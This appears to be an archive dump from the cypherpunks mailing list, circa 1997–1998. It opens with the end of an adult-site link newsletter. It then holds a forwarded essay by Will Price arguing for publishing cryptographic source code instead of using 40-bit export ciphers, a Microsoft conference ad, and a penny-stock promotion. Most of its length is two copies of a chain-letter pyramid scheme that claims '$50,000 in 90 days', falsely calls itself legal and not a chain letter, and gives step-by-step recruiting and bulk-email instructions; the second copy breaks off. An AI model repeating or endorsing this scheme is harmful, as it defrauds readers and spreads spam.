ESPAÑOL ....... http://eureka.abc-web.com/eureka/espanol.htm

HAPPY NEW YEARS EVE!
We've  included a site today that  features some young black
women today in response to your emails.  We know endless web
surfing to find some hot pix is a  hassle. We do it for you!
Email us at any time! ...... mailto:feedback@www.usachat.com

CHERRY BUSTERS
Cruise down the page to  the "enter cherry buster's free xxx
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Cherry Busters .... http://198.174.169.153/cbasp/default.asp

MORE FREE PICS
There are a lot of thumbnails here to enjoy. Blowjobs, anal,
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More Free Pics ................ http://www.morefreepics.com/

CAATTLE CALL
Moove over to this website for some hot looking sexy vixens!
There are not a ton of pix bit the ones that they have there
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Caattle Call ......................... http://www.coeds.net/

BUDDA BABY'S WET BLACK TEENS
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Budda Baby's Wet ................. http://www.buddababy.com/

FREE STREAMING VIDEO
Please note that most of these feeds require a Netscape bro-
wser in order to successfully view them. Unfortunately Micr-
osoft's browser does not have all the features of Netscape's
yet.  However, many of the feeds use the RealPlayer and will
work in most browsers.  If you do not have Netscape and want
a free copy click here ... http://www.netscape.com/download/
20vids+Chat .. http://209.1.31.175/chat/videochat.cgi?eureka

CHAT WITH OTHER READERS
This chat is growing fast, and already there are a number of
regulars  you will meet most days.  It's good to see Eureka!
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Adult/Sex Chat .................. http://137.39.63.229/chat/
General/Fun Chat ........ http://137.39.63.229/chat/funchat/

THE BEST PHONE SEX
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AMATEUR SITE OF THE DAY
CAROL COX: Also known as Wild Rose, Carol is an Internet or-
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Carol Cox .................. http://amateurindex.com/eureka/

TODAY'S FREE PIX
Wow - we can tell you like our new photos, our server nearly
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Pic  1 ........................... http://137.39.63.229/?310
Pic  2 ........................... http://137.39.63.229/?311
Pic  3 ........................... http://137.39.63.229/?312
Pic  4 ........................... http://137.39.63.229/?313
Pic  5 ........................... http://137.39.63.229/?314
Pic  6 ........................... http://137.39.63.229/?315
Pic  7 ........................... http://137.39.63.229/?316
Pic  8 ........................... http://137.39.63.229/?317
Pic  9 ........................... http://137.39.63.229/?318
Pic 10 ........................... http://137.39.63.229/?319

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 31 Dec 1997 08:49:11 -0800 (PST)
To: Recipient List Suppressed:;
Subject: Why use open crypto/commerce source?
Message-ID: <v04002704b0d01d4bd237@[139.167.130.249]>
MIME-Version: 1.0
Content-Type: text/plain


Will Price of PGP writes one of the best-organized arguments for open
cryptography source code -- and I would extend that to digital commerce
code as well -- that I've seen in a while. While I wonder if this may be
written more for Will's new colleagues at Network Associates than anywhere
else :-), I would reccommend that anyone who asks you "How can you sell
open source?" get a copy of this.

Excellent, Will.

Cheers,
Bob Hettinga

--- begin forwarded text


X-Sender: wprice@205.180.136.16
Mime-Version: 1.0
Date: Tue, 30 Dec 1997 20:01:03 -0800
To: ietf-tls@consensus.com, ietf-open-pgp@imc.org
From: Will Price <wprice@pgp.com>
Subject: Re: Proposed Extensions to TLS for OpenPGP
Sender: owner-ietf-open-pgp@imc.org
Precedence: bulk

Rather than quoting the messages on this topic, I'll just reference the
other messages on the topic of export algorithms and issues which
originated from my exclusion of export algorithms from the TLS/OpenPGP
Spec.  The debate over exactly what one can export legally usually proceeds
under seriously false assumptions in my opinion.  It generally starts with
what bit level algorithm can be exported, proceeds to discussions about
hooks whether general or crypto specific, usually has some mention of
MS-CAPI until people realize that the modules have to be signed, those with
legal knowledge try to jump in and help, and ends up with people being
somewhat confused and feeling fairly helpless leading to less crypto
software being written -- exactly the result the US government intended.

Not directed at anyone in particular, but let's get back to basics people.
There's no sense whatsoever in putting "export" algorithms into a product.
It isn't encryption.  The time is truly upon us when export algorithms are
crackable in near real time by normal people.  You might as well include a
decoder ring with your product, it will take just as long or longer to
decrypt for a casual attacker.

At Pretty Good Privacy, we developed a reliable system which will be
continued by Network Associates.  The outline: write source code for
product, print source code in book, distribute book using normal means.
Now the process becomes somewhat foggier.  In any case, printed source code
for product gets exported -- note that this is of course legal.
Individuals outside the US scan source code.  A legally exported binary
version of the product then becomes available internationally.  Copyrights,
trademarks, and licenses protect the original vendor and revenue can be
made off the exported product.  This is only one highly functional system
for getting this done.  One other alternative is to base all R&D outside
the US which is infeasible for most US companies -- but Sun did it with
SKIP.  Finally, the crypto hooks mechanism does work and Commerce does in
fact approve APIs that are intended for crypto but have been generalized
for other uses, Qualcomm's EMSAPI used in Eudora is a perfect example of
this.

I can hear the first cry that some people will have now: are you crazy, we
can't publish our source code!  My response: well then what are you doing
in the security business?  This sector isn't about proprietary algorithms
and code.  It is not feasible to achieve secure software without public
peer review by many cryptographers.  We have seen time and time again how
the smallest security bugs have turned into major international crises for
some of the larger companies doing this.  One can only imagine how many
more such issues are left to be found were a quality cryptographic public
peer review to take place on such products with access to source code.  The
majority of users reading the New York Times have no clue what a particular
security flaw is about.  They just know that the NYT says that product is
insecure.  Such stories reduce user faith in everybody's security products.
The only solution is public code review.

Now I can hear not only the cries about publishing source code, but the
feathers of some readers getting ruffled believing that I have implied
security flaws in their wonderful products.  Not at all.  I have the utmost
respect for any company that makes an attempt to write crypto software in
the US.  We're all under these silly laws together.  I use some of the
products which have had reported security flaws in the past, but those
products would be that much more valuable if one was able to trust their
security from 3rd party review and if their protocol infrastructures had
not been infected by 40 bit scrambling algorithms.

Some companies will undoubtedly never bring themselves to implementing one
of the above systems and will thus be relegated to snake oil security
internationally until the laws in the US change.  However, there *are* good
and reliable ways for even the largest companies to solve this problem
legally.  Inclusion of "export" algorithms is, IMHO, security suicide.
What has happened in many cases is that the installed base of, for
instance, S/MIME and SSL users has been so infected by 40 bit clients that
the vast majority really have no idea that the security they are using is
completely useless.  It forces those few with secure clients corresponding
with those using 40 bit clients to also use 40 bit and so on -- generally
without any warning to either user that their security has been eliminated.
Some companies like Wells Fargo have tried to take a stand and require 128
bit crypto SSL and they get major flack from users who don't understand
what is wrong with their 40 bit browser.

Caving in and using 40 bit algorithms is *not* a solution to anything.  We
all know this, but the speed of business can make that choice less clear.
The argument that "we have to sell it, so we have to include 40 bit" just
doesn't wash given that there are all sorts of creative legal alternatives.
The bigger the company, the more resources that company has to enable the
alternatives -- which is why it is so odd that the smaller companies often
produce the more secure software.  Mass producing a source code book of
>7000 pages for the PGP products isn't something a one person operation
would be doing, but is trivial for a normal company.

Let's not infect our protocols with such politics.  TLS 1.0 is a done deal
as far as I'm concerned.  SSL3 had export algorithms, so TLS1 does too,
fine.  There are now many better solutions to the export problem, let's not
fall into the trap of using the easiest way out in new specifications.

-Will


Will Price, Architect
Network Associates, Inc.
Direct  (650)596-1956
Main    (650)572-0430
Fax     (650)631-1033
Cell/VM (650)533-0399
<pgpfone://clotho.pgp.com>

PGPkey: <http://pgpkeys.mit.edu:11371/pks/lookup?op=get&search=0xCF73EC4C>

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Site Builder Network <sbn@MICROSOFT.COM>
Date: Wed, 31 Dec 1997 21:20:59 -0800 (PST)
To: Web-Tech-Ed@SITEBUILDER.MICROSOFT.COM
Subject: Microsoft Site Builder Network: Web TechEd Conference,             January 19 98
Message-ID: <39ADCF833E74D111A2D700805F1951EF0BB31C@red-msg-06.dns.microsoft.com>
MIME-Version: 1.0
Content-Type: text/plain


Where else can you save $200, get the best technical web
training and enjoy the sunshine!  We've extended the
deadline for Site Builder Network Members to save $200 off
the registration fee!!!  Register now for Microsoft's Web
TechEd Conference January 25-28, 1998 in Palm Springs, CA!
Web Tech·Ed is a technical education conference, created
exclusively for Web professionals.  This is your
opportunity to join 3,500 of your peers for in-depth
training on the latest Web technologies, tools and products
from Microsoft and third-party partners.  There will be
over 80 technical sessions, 70 exhibitors, 200 hands on
machines and much much more. For more information or to
register, call 1-800-259-1312 or visit our website at
http://www.microsoft.com/events/webteched .




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: b_ellis <bellis@ns1.nap2.net>
Date: Wed, 31 Dec 1997 19:47:36 -0800 (PST)
Subject: Wolf Industries Inc.
Message-ID: <199801010448.UAA05974@wolf.registr.com>
MIME-Version: 1.0
Content-Type: text/plain


Wolf Industries, Inc. (OTCBB:WLFN,  http://registr.com/wolf   ) is a
niche provider of Custom Blended Chemical Products used at the
wellhead in the production of oil and gas that has just become
available for trade on the OTC Bulletin Board under the symbol 
"WLFN".   Wolf management intends to aggressively enhance
the Corporation's market share of the Oil and Gas Services sector
through horizontal and vertical integration via acquisitions, improving
earnings and overall company value for its shareholders.

The Corporation's financial condition is stable with projected
revenues of over $1,000,000.00 for fiscal 1998 and a well established
and loyal client base after nine years in private operation.  The Corporation
is also pursuing diversification of its interests into environmental 
technologies.

Visit the website at  http://www.registr.com/wolf   for complete information,
including SEC filed reports on this  investment opportunity.

If you would like to be removed from our mailing list,  please reply with
"remove" in the subject line.

Thank-you.
Investor Relations
Wolf Industries, Inc.

Except for the historical information contained on the website,
the matters set forth inthese documents are forward-looking
statements within the meaning of the "safe harbour" provisions
of the Private Securities Litigation Reform Act of 1995. These
forward-looking statements are subject to risk and uncertainties
that may cause actual results to differ materially. These forward-looking
statements speak only as of the date hereof and the Company disclaims
any intent or obligation to update these forward-looking statements.  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: seffraim@hotmail.com
Date: Sun, 2 Aug 1998 03:39:19 -0700 (PDT)
To: cypher@goodnet.com
Subject: Please review this information, you won't regret ! !
Message-ID: <199808021036.RAA18884@jupiter.centrin.net.id>
MIME-Version: 1.0
Content-Type: text/plain


X-Info:
X-Info:Sent using Zenith Bulk Emailer (FREE)




  Please accept my apology if this was sent to you in error!

  The main reason for this letter is to convince you that this
  system is honest, lawful, extremely profitable, and is a way
  to get a considerable amount of money in a short time.  I
  was approached several times before I checked this out.  I
  joined just to see what one could expect in return for the
  minimal effort and money required.

  ***************************************************************
  You are about to make up to $50,000-In less than 90 days
  Read the enclosed program...THEN READ IT AGAIN!
  ***************************************************************
  This is the letter that got my attention.  Read on and I'm sure
  you will agree that this is a great plan!


  Dear Friend,

  The enclosed information is something I almost let slip through
  my Fingers. Fortunately, sometime later I re-read everything and
  gave some thought and study to it. Please do the same.  It's so
  simple to do.

  And you won't be left out in the cold to figure it all out
  yourself. Look further down in this letter for the  information
  you will receive from * Abot Marketing.  They give you 10,000 fresh
  email addresses and give you the locations of the best software
  (FREE SOFTWARE) to send out large quantities of email. (normally
  this kind of software is several hundred dollars) They even give
  you easy to understand, proven, step by  step instructions for
  success with this program.  In fact, they helped me get started
  and I'm so thankful.  It's  hard to belive that this as simple as
  it is, but it really is SIMPLE. You will even get support from
  them via email anytime you need it.  You won't get this kind of
  help from other programs of this nature. It makes all the
  difference in the world.

  My name is Anne Bowman. I am 31-year-old graduate student
  desperately trying to finish my degree and begin working in my
  chosen field--that is, if I am lucky enough to find a job in the
  crowded market.  Like most people in this day and age, it is hard
  to make ends meet, and being a student does not help the
  situation at all ( If I ever have to buy one more box of macaroni
  and cheese I think I would have to scream).  I returned to school
  after having worked for several years with little potential for
  achieving what I had expected out of life.  I figured if I
  returned to school and received my Ph.D there would be several
  pportunities for me out there to achieve my goals.  After seeing
  my fellow graduate students receive their degrees and,
  depressingly, not find respectable positions in their chosen
  field I began to think, "Oh no not again!"  Four extra years in
  school and an extra $20,000 in student loans on top of the first
  $18,000, what will I do if the same happens to me?"  I began to
  doubt my patience for the long term investment in schooling, and
  decided enough was enough, "Why can't I make real money now
  instead of waiting to graduate with no guarantee of a lucrative
  return for all of my efforts!"  I am writing to share my
  experience with other hopeful students out there, as well as
  ANYONE looking for an pportunity to take their financial
  situation into their own hands.  I hope you will consider this
  opportunity seriously and that this will change your life
  FOREVER!.., FINANCIALLY!!!  And once you get started it takes so
  little of your time.

  In mid October 97 I received this program. I didn't send for
  it,or ask for it, they just got my name off a mailing list. I
  TOOK THIS AS A SIGN!!!  After reading it several times, to make
  sure I was reading it correctly, it made perfect sense. Here was
  a MONEY-MAKING PHENOMENON. I could invest as much as I wanted to
  start (about as much as it costs for a pizza!), without putting
  me further in debt. After I got a pencil and paper and figured it
  out, I would at least get my money back. After determining that
  the program is LEGAL and NOT A CHAIN LETTER, I decided "I HAVE
  NOTHING TO LOSE".

  Initially I sent 15,000 emails, (without any costs to me) only a
  couple of hours of my time on-line. The great thing about email
  is that I didn't need any money for printing to send out the
  program, only the time to fulfill my orders.  There is a vast
  on-line market available to everyone who owns a computer.
  Following the advice of the person from whom I received this
  letter, I am telling you like it is, and I hope it doesn't turn
  you off, but I promised myself I would not "rip-off" anyone, no
  matter how much money it cost me!  After you receive the reports
  they should explain everything to you.  You may have some general
  questions, however, and after I send you REPORT #1 , please feel
  free to contact me and I will give you any advice you need.

  In one week, I was starting to receive orders for REPORT #1. By
  mid November, I had received 40 orders for REPORT #1. When you
  read the GUARANTEE in the program you will see that "YOU MUST
  RECEIVE 15 TO 20 ORDERS FOR REPORT #1 WITHIN 2 WEEKS IF YOU DON'T
  SEND OUT MORE PROGRAMS UNTIL YOU DO!" My first step in making
  $50,000 in 20 to 90 days was done. By the beginning of December,
  I had received 174 orders for REPORT #2. If you go back to the
  GUARANTEE. "YOU MUST RECEIVE 100 OR MORE ORDERS FOR REPORT #2
  WITHIN TWO WEEKS. IF NOT SEND OUT MORE PROGRAMS UNTIL YOU DO.
  ONCE YOU HAVE 100 ORDERS, THE REST IS EASY, RELAX, YOU WILL MAKE
  YOUR $50,000 GOAL". Well, I had 174 orders for REPORT #2, 74 more
  than I needed. So I sat back and relaxed. By January 20th, of my
  emailing of 15,000, I received $54,000 with more coming in ever
  day.  The great thing about this program is you can begin the
  process over and over again without any limit on potential
  income!

  I paid off ALL my student loans, and together with everything I
  have learned in school, I am now saving in order to open up my
  own business related to my field as soon as I graduate. Please
  take time to read the attached program. IT WILL CHANGE YOUR LIFE
  FOREVER! Remember, it won't work if you don't try it. This
  program does work, but you must follow it EXACTLY! Especially the
  rules of not trying to place your name in a different place on
  the list. It doesn't work, you'll lose out on a lot of money!
  REPORT #2 explains this. ALWAYS follow the guarantee, 15 to 20
  orders of REPORT #1 and 100 or more orders for REPORT #2 and you
  will make $50,000 or more in 20 to 90 days. I AM LIVING PROOF
  THAT IT WORKS!!

  If you choose not to participate in this program, I'm sorry, It
  really is a great opportunity with little cost or risk to you. If
  you choose to participate, follow the program and you will be on
  your way to financial security.

  To my fellow graduate students out there, good luck to you and I
  sympathize.  And to all other persons in financial trouble
  consider this letter a sign and please take advantage of this
  opportunity. YOU WON'T BE DISAPPOINTED!
   
  Sincerely,
  Anne Bowman

  The following testimonial was at the bottom of this letter but it
  was too good to leave down there so I moved it up here.  It is
  exactly how I felt at first and and feel now.

  "The first week after I started this program was torture. I
  couldnt wait to see if it was really going to work after I mailed
  out my first batch of letters.  I chuckle every day now when I
  walk out of the post office with my envelopes.  This is so easy,
  I still can't belive it's happenning!" Don Masterson, Troy,NY


  $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

  >From here down is the instruction portion of this letter...

  This is a LEGAL, MONEY-MAKING PHENOMENON. PRINT this letter, read
  the directions, THEN READ IT AGAIN !!!

  You are about to embark on the most profitable and unique program
  you may ever see.  Many times over, it has demonstrated and
  proven its ability to generate large amounts of cash. This
  program is showing fantastic appeal with a huge and ever-growing
  on-line population desirous of additional income.

  This is a legitimate, LEGAL, money-making opportunity.  It does
  not require you to come in contact with people, do any hard work,
  and best of all, you never have to leave the house, except to get
  the mail and go to the bank!

  This truly is that lucky break you've been waiting for!  Simply
  follow the easy instructions in this letter, and your financial
  dreams will come true! When followed correctly, this electronic,
  multi-level marketing program works perfectly...100% EVERY TIME!

  Thousands of people have used this program to:
          - Raise capital to start their own business
          - Pay off debts
          - Buy homes, cars, etc., 
          - Even retire! 

  This is your chance, so don't pass it up!

  ----------------------------------------------------------------
  OVERVIEW OF THIS EXTRAORDINARY ELECTRONIC
  MULTI-LEVEL MARKETING PROGRAM
  ----------------------------------------------------------------

  Basically, this is what we do:

  We send thousands of people a product for $5.00 that costs next
  to nothing to produce and e-mail. As with all multi-level
  businesses, we build our business by recruiting new partners and
  selling our products. Every state in the U.S. allows you to
  recruit new multi- level business online (via your computer).

  The products in this program are a series of four business and
  financial reports costing $5.00 each.  Each order you receive via
  "snail mail" will include:

  * $5.00 cash
  * The name and number of the report they are ordering
  * The e-mail address where you will e-mail them the report they
    ordered.

  To fill each order, you simply e-mail the product to the buyer.
  The $5.00 is yours! This is the most EASIEST electronic
  multi-level marketing business anywhere!
   
  FOLLOW THE INSTRUCTIONS TO THE LETTER AND
  BE PREPARED TO REAP THE STAGGERING BENEFITS!

  ******* I N S T R U C T I O N S *******

  This is what you MUST do:

  1. Order all 4 reports shown on the list below (you can't sell
     them if you don't order them).
       
          * For each report, send $5.00 CASH, the NAME & NUMBER OF THE
            REPORT YOU ARE ORDERING, YOUR E-MAIL ADDRESS, and YOUR
            RETURN POSTAL ADDRESS (in case of a problem) to the person
            whose name appears on the list next to the report.
    
          * When you place your order, make sure you order each of the
            four reports.  You will need all four reports so that you
            can save them on your computer and resell them.

          * Within a few days you will receive, via e-mail, each of the
            four reports.  Save them on your computer so they will be
            accessible for you to send to the 1,000's of people who
            will order them from you.

  2. IMPORTANT-- DO NOT alter the names of the people who are
     listed next  to each report, or their sequence on the list, in
     any way other than is instructed below in steps "a" through
     "d" or you will lose out on the majority of your profits.
     ONCE YOU UNDERSTAND THE WAY THIS WORKS, YOU WILL UNDERSTAND
     WHY IT DOESN'T WORK IF YOU CHANGE IT.  Remember, this method
     has been tested, and if you alter it, it will not work.

          a. Look below for the listing of available reports.

          b. After you've ordered the four reports, replace the name
             and address under REPORT #1 with your name and address,
             moving the one that was there down to REPORT #2.

          c. Move the name and address that was under REPORT #2 down
             to REPORT #3.

          d. Move the name and address that was under REPORT #3 down
             to REPORT #4.

          e. The name and address that was under REPORT #4 is removed
             from the list and has NO DOUBT collected their 50 grand.

  Please make sure you copy everyone's name and address
  ACCURATELY!!!

  3. Take this entire letter, including the modified list of names,
     and save it to your computer.  Make NO changes to the
     INSTRUCTION portion of this letter.
    
  4. Now you're ready to start an advertising campaign on the
     Internet!  Advertising on the Internet is very, very
     inexpensive, and there are HUNDREDS of FREE places to
     advertise, but email has, by far, proven itself to be the best
     medium for this program.  And the emailers best friend is
     e-mail lists. You can buy these lists for under $20/20,000
     addresses or you can pay someone a minimal charge to take care

     of the mailing for you.  BE SURE TO START YOUR AD CAMPAIGN
     IMMEDIATELY!  Each day that passes while you think about it is
     a day without profit.

  5. For every $5.00 you receive, all you must do is e-mail them
     the report they ordered.  THAT'S IT!  ALWAYS PROVIDE SAME-DAY
     SERVICE ON ALL ORDERS!  This will guarantee that the e-mail
     THEY send out, with YOUR name and address on it, will be
     prompt because they can't advertise until they receive the
     report!

  ------------------------------------------
  AVAILABLE REPORTS
  ------------------------------------------
  ***Order Each REPORT by NUMBER and NAME***

  Notes:
  - ALWAYS SEND $5 CASH FOR EACH REPORT
  - ALWAYS SEND YOUR ORDER VIA FIRST CLASS MAIL
  - Make sure the cash is concealed by wrapping it in at least two
    sheets of paper!!!
  - On one of those sheets of paper, include: (a) the number & name
    of the report you are ordering, (b) your e-mail address, and
    (c) your postal address.  (using your printer is the best way
    to do this)
     
  _________________________________________________________________
  REPORT #1 "HOW TO MAKE $250,000 THROUGH MULTILEVEL SALES"

  ORDER REPORT #1 FROM:  
  Sony Effraim
  PO BOX 9323 JATDK 
  JKT 13550
  INDONESIA
  _________________________________________________________________
  REPORT #2 "MAJOR CORPORATIONS AND MULTILEVEL SALES"

  ORDER REPORT #2 FROM:  
  Christian S
  PO BOX 1092, JKB 11010
  INDONESIA

  *****IMPORTANT NOTE*****
  - US Dollar currency only please
  - Once again, make sure the cash is concealed by wrapping it
    in at least "two" sheets of paper!
  _________________________________________________________________
  REPORT #3 "SOURCES FOR THE BEST MAILING LISTS"

  ORDER REPORT #3 FROM:
  J.F.J
  P.O. Box 342
  McCormick, SC 29835-0342
  USA
  _________________________________________________________________
  REPORT #4 "EVALUATING MULTILEVEL SALES PLANS"

  ORDER REPORT #4 FROM:
  Matt G
  3801 Brooklyn Ave. NE #A102-1
  Seattle, WA 98105      
  USA
  _________________________________________________________________

  *
  Abot Marketing
  PO BOX 2523
  Chapel Hill, NC 27515-2523
  USA

  
  -----------------------------------------------------------------------
  HERE'S HOW THIS AMAZING PLAN WILL MAKE YOU $MONEY$
  -----------------------------------------------------------------------

  Let's say you decide to start small just to see how well it
  works.  Assume your goal is to get 10 people to participate on
  your first level.  (Placing a lot of FREE ads on the Internet
  will EASILY get a larger response.) Also assume that everyone
  else in YOUR ORGANIZATION gets ONLY 10 down line members. Follow
  this example to achieve the STAGGERING results below.

  1st level--your 10 members with$5...................................$50
  2nd level--10 members from those 10 ($5 x 100)..................$500
  3rd level--10 members from those 100 ($5 x 1,000)..........$5,000
  4th level--10 members from those 1,000 ($5 x 10,000)...$50,000
  THIS TOTALS----------->$55,550

  Remember friends, this assumes that the people who participate
  only recruit 10 people each.  Think for a moment what would
  happen if they got 20 people to participate!  Most people get
  100's of participants! THINK ABOUT IT!

  Your cost to participate in this is practically nothing (surely
  you can afford $20 for a chance to make $ 55,000).  You obviously
  already have an Internet connection and e-mail is FREE!!!
  REPORT# 3 shows you the most productive methods for bulk
  e-mailing and purchasing e-mail lists. Some list & bulk e-mail
  vendors even work on trade!

  About 50,000 new people get online every month!

  *******TIPS FOR SUCCESS*******

  * TREAT THIS AS YOUR BUSINESS!  Be prompt, professional, and
    follow the directions accurately.

  * Send for the four reports IMMEDIATELY so you will have them
    when the orders start coming in because:

       When you receive a $5 order, you MUST send out the requested
       product/report to comply with the U.S.  Postal & Lottery
       Laws, Title 18,Sections 1302 and 1341 or Title 18,  Section
       3005 in the U.S.  Code, also Code of Federal Regs.  Vol..
       16, Sections 255 and 436, which state that "a product or
       service must be exchanged for money received."

  * ALWAYS PROVIDE SAME-DAY SERVICE ON THE ORDERS YOU RECEIVE.

  * Be patient and persistent with this program.  If you follow the
    instructions exactly, the results WILL undoubtedly be
    SUCCESSFUL!

  * ABOVE ALL, HAVE FAITH IN YOURSELF AND KNOW YOU WILL SUCCEED!

  *******YOUR SUCCESS GUIDELINE*******

  Follow these guidelines to guarantee your success:
  I CAN'T STRESS ENOUGH HOW IMPORTANT THIS NEXT SECTION IS!!!!

  If you don't receive 10 to 20 orders for REPORT #1 within two
  weeks, continue advertising until you do.  Then, a couple of
  weeks later you should receive at least 100 orders for REPORT #2.
  If you don't, continue advertising until you do.  Once you have
  received 100 or more orders for REPORT #2, YOU CAN RELAX, because
  the system is already working for you, and the cash will continue
  to roll in!

  THIS IS IMPORTANT TO REMEMBER:

  Every time your name is moved down on the list, you are placed in
  front of a DIFFERENT report.  You can KEEP TRACK of your PROGRESS
  by watching which report people are ordering from you.  If you
  want to generate more income, send another batch of e-mails and
  start the whole process again!  There is no limit to the income
  you will generate from this business!

  NOTE:  If you need help with starting a busi
*** Get The Zen Bulk Emailer FREE - Where To Get it ***
*** FAX/CALL +1 212 2082904 (US) or FAX +44 (01772) 492507 (UK) ***
*** Or Download From FireFox Freeware  ***




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tee2e@hotmail.com
Date: Wed, 18 Nov 1998 21:27:44 -0800 (PST)
To: cypher@brixdrug.demon.co.uk
Subject: Xtra CASH $ !
Message-ID: <199811190526.FAA31970@out1.ibm.net>
MIME-Version: 1.0
Content-Type: text/plain


X-Info:
X-Info:Sent using Zenith Bulk Emailer (FREE)

STOP Before you act in haste PRINT this and  read it a few  times!
It makes more sense after you look it over and think about it.

Take the chance you never know what will happen!!!
You are about to make up to $50.000-In less than 90 days
Read the enclosed program Then read it AGAIN!

The main reason for this letter is to convince you that this system is honest,
lawful, extremely profitable and is a way to get a considerable amount of money
in a short time. I was approached several times before I checked this out. I
joined just to see what one could expect in return foe a minimal effort and
money required.

This is the letter that got my attention, Read on and I'm sure you will agree
that this is a great plan!

BEGINNING OF THE LETTER..

        Dear friend,
The enclosed information is something I almost let slip through my fingers.
Fortunately, sometime later, I re-read everything and gave some thoughts and
study to it. Please do the same. It's so simple to do.

        And you won't be left out in the cold to figure it all out yourself. Look
further down in this letter for information   you will receive from Abot
Marketing. They give you 10.000 fresh email addresses and give you the locations
of the best software " free software" to send large quantities of email. They
even give you easy to understand, proven, step by step instructions for success
with this program. In fact, they helped me get started  and I'm so thankful.
It's hard to believe that this is as simple as it is, but it really is SIMPLE.
You will even get support from them via email anytime you need it. You won't get
this kind of help from any other programs of this nature. It makes all the
difference in the world.

My name is Anne Bowman, I am 31-years-old graduate student desperately trying to
finish my degree and begin working in my chosen field --that is, if I am lucky
enough to find a job in the crowded market. Like most people in this day and
age, it is hard to make ends meet and being a student does not help the
situations at all.( If I ever have to buy one more box of macaroni and cheese I
think I would have to scream). I returned to school after having worked for
years with little potential for achieving what I had expected out of life. I
figured if I returned to school and receive my Ph.D there would be several
opportunities for me out there to achieve my goals. After seeing my fellow
graduate students receive their degrees and depressingly, not find respectable
position in their chosen field I began to think, "Oh no, not again". Four extra
in school and  an extra $20.000 in students loan on top of the first $18.000,
what will I do if the same happens to me?  I began to doubt my!
!
  patience for long term investment in schooling and decided enough was enough,
"Why can't I make real money now instead of waiting to graduate with no
guarantee of a lucrative return for all my efforts!" I am writing to share my
experience with other hopeful students out there, as well as ANYONE looking for
an opportunity to take their financial situation into their hands. I hope you
will consider this opportunity seriously and that this will change your life
FOREVER!!, FINANCIALY!!!!!! And once you get started it takes so little of your
time.

In mid Octomber97 I received this program. I didn't send or ask for it, they
just got my name off a mailing list. I TOOK THIS AS A SIGN!!! After reading it
several times, to make sure I was reading it correctly, it made perfect sense.
Here was a MONEY-MAKING PHENOMEN. I could invest as much as I wanted to start
(about as much as it cost for a pizza!), without putting me further in debt.
After I got a pencil and paper and  figured it out, I would at least get  my
money back. After determining that the program is ********LEGAL and NOT A CHAIN 
LETTER**********, I decided " I have NOTHING TO LOOSE"

Initially I sent 15,000 emails, (without any costs to me), only a couple of
hours of my time on-line. The great thing about email is that I didn't need any
money for printing to send out the program, only the time to fulfill my orders.
There is a vast on-line market available to everyone who owns a computer.
Following the advice of a person from whom I received this letter, I am telling
you like it is and hope it doesn't turn you off, but I promised myself I would
not "rip-off" anyone, no matter how much money it cost me. After you receive the
reports they should explain you everything to you. You may have some general
questions, however, and after I send you report #1, please feel free to contact
me and I will give you any advice you need.
In one week, I was starting to receive orders for REPORT#1. By mid November, I
had received 40 orders for REPORT#1. When you read the GUARANTEE in the program
you will see that "YOU MUST RECEIVE 15 TO 20 ORDERS FOR REPORT #1 WITHIN 2
WEEKS, IF NOT, SEND OUT MORE PROGRAMS UNTIL YOU DO!". My first step in making
$50.000 in 20 to 90 days was done. By the beginning of December, I had received
174 orders for report#2. If you go back to the GUARANTEE: "YOU MUST RECEIVE 100
OR MORE ORDERS FOR REPORT#2 WITHIN TWO WEEKS. IF NOT SEND OUT MORE PROGRAMS
UNTIL YOU DO. ONCE YOU HAVE 100 ORDERS, THE REST IS EASY, RELAX, YOU WILL MAKE
YOUR $50.000 GOAL". Well, I had 174 orders for REPORT#2, 74 more than I needed.
So I sat back and relaxed. By January 20th, of my emailing of 15.000, I received
$54,ooo with more coming in everyday. The great thing about this program is you
can begin the process over and over again without any limit on potential income.

I paid off ALL my student loans and together with everything I have learned in
school. I am now saving in order to open up my own business related to my field
as soon as I graduate. Please take time to read the attached program. It will
CHANGE YOUR LIFE FOREVER! Remember, it won't work if you don't try it. This
program does work, but you must fallow it EXACTLY! Especially the rules of not
trying to place your name in a different place on the list. It doesn't work,
you'll loose out on a lot of money! REPORT#2 explains this. "ALWAYS" follow the
GUARANTEE, 15 to 20 orders of REPORT#1 and 100 or more orders of REPORT#2 and
you will make $50.000 or more in 20 to 90 days. I am a living proof that IT
WORKS.

If you chose not to participate in this program, I am sorry. It really is a
great opportunity with little cost or risk to you. If you chose to participate,
follow the program and you will on your way to financially security.

To my fellow graduated students out there, good luck to you and I sympathize.
And to all other persons in financially trouble consider this letter as a sign
and please take advantage of this opportunity. YOU WON'T BE DISAPPOINTED!
                        
                                                Sincerely,
                                                 Anne Bowman 

THE END OF THE.LETTER

The following testimonial was at the bottom of this letter but it was too good
to leave it down there so I moved it up here. It is exactly how I felt and feel
now. 

"The first week after I started this program was torture. I couldn't wait to see
if it is was really going to work after I mailed out my first batch of letters.
I chuckle every day now when I walk out of the post office with my envelopes.
This is so easy, I still can't believe it's happening!" Don Masterson, Troy, NY 

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

>From here down is the instructions portion of this letter..

This is a legal, MONEY-MAKING PHENOMEN. Print the letter, read the directions,
THEN READ IT AGAIN.
You are about to embark on the most profitable and unique program you may ever
see. Many times over, it has demonstrated and proven its ability to generate
large amounts of cash. This program is showing fantastic appeal with a huge and
ever-growing on-line populations desirous of additional income.

This is a legitimate, LEGAL, moneymaking opportunity. It does not require you to
come in contact with people, do any hard work and best of all, you never have to
leave the house, except to get the mail and go to the bank!

This truly is that lucky break you've been waiting for! Simply follow the easy
instructions in this letter and your financial dreams will come true ! When
followed correctly, this electronic, multi-level business marketing program
works perfectly..100% EVERY TIME!
Thousand of people have used this program to 
